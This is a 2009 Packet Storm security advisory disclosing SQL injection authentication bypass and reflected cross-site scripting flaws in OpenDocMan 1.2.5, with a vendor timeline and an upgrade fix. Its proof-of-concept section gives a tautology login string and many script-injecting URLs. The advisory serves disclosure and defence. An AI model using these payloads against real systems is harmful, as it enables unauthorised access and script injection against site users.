what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OpenDocMan 1.2.5 SQL Injection / XSS

OpenDocMan 1.2.5 SQL Injection / XSS
Posted Oct 21, 2009
Authored by Amol Naik

OpenDocMan version 1.2.5 suffers from cross site scripting and a remote SQL injection vulnerability that allows for authentication bypass.

tags | exploit, remote, xss, sql injection
SHA-256 | e7e44fcb4e3f30d43bfa0d2b218cd77b02a088d09ba683e330163fd067dfad35

OpenDocMan 1.2.5 SQL Injection / XSS

Change Mirror Download
Security Advisory : Multiple vulnerabilities in OpenDocMan
Discovered by ==> Amol Naik (amolnaik4[at]gmail.com)

## Overview ##
--------------
OpenDocMan is a free document management system (DMS) designed to comply with ISO 17025 and OIE standard for document management. It features web based access, fine grained control of access to files, and automated install and upgrades.


## Vulnerability Description ##
-----------------
OpenDocMan is vulnerable to authentication bypass and multiple cross-site scripting issues.



## Technical Details ##
-------------
Vulnerable Product : OpenDocMan v1.2.5
Download : http://sourceforge.net/projects/opendocman/files/opendocman/1.2.5/opendocman-1.2.5.zip/download


Authentication Bypass:
----------------------

A valid username require to carry put Auth Bypass. Default is "admin".


Cross-site Scripting:
---------------------

Multiple instances of Cross-site scripting found majorly due to use of $_SERVER['PHP_SELF'] in action parameter of form field and due to absence of validation for "last_message" parameter.



## Proof of concept ##
----------------------

Authentication Bypass:
----------------------

Username : admin' OR '1'='1
Password : nothing

Cross-site scripting:
---------------------

http://localhost/opendocman/category.php/"><script>alert(1)</script><"?aku=c3VibWl0PWFkZCZzdGF0ZT0y
http://localhost/opendocman/department.php/"><script>alert(1)</script><"?aku=c3VibWl0PXNob3dwaWNrJnN0YXRlPTI=
http://localhost/opendocman/profile.php/"><script>alert(1)</script>
http://localhost/opendocman/rejects.php/"><script>alert(1)</script>
http://localhost/opendocman/search.php/"><script>alert(1)</script>
http://localhost/opendocman/toBePublished.php/"><script>alert(1)</script>
http://localhost/opendocman/user.php/"><script>alert(1)</script><"?aku=c3VibWl0PXNob3dwaWNrJnN0YXRlPTI=
http://localhost/opendocman/view_file.php/"><script>alert(1)</script><"?aku=aWQ9NiZzdGF0ZT0z
http://localhost/opendocman/index.php?last_message=<script>alert(1)</script>
http://localhost/opendocman/user.php?submit=Modify+User&item=2&caller=/opendocman/"><script>alert(123)</script><"
http://localhost/opendocman/add.php?last_message=<script>alert(1)</script>
http://localhost/opendocman/toBePublished.php?last_message=<script>alert(1)</script>
http://localhost/opendocman/admin.php?last_message=<script>alert(1)</script>

## Workaround ##
----------------
Update to newer version v1.2.5.2
opendocmanv1.2.5.2: http://sourceforge.net/projects/opendocman/files/opendocman/1.2.5.2/opendocman-1.2.5.2.zip/download


## TimeLine ##
----------------------
10th Oct 2009 : Bug Discovered
12th Oct 2009 : vendor was notified by e-mail
12th Oct 2009 : Vendor response received
20th Oct 2009 : A new release publicly available
20th Oct 2009 : Public Disclosure

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close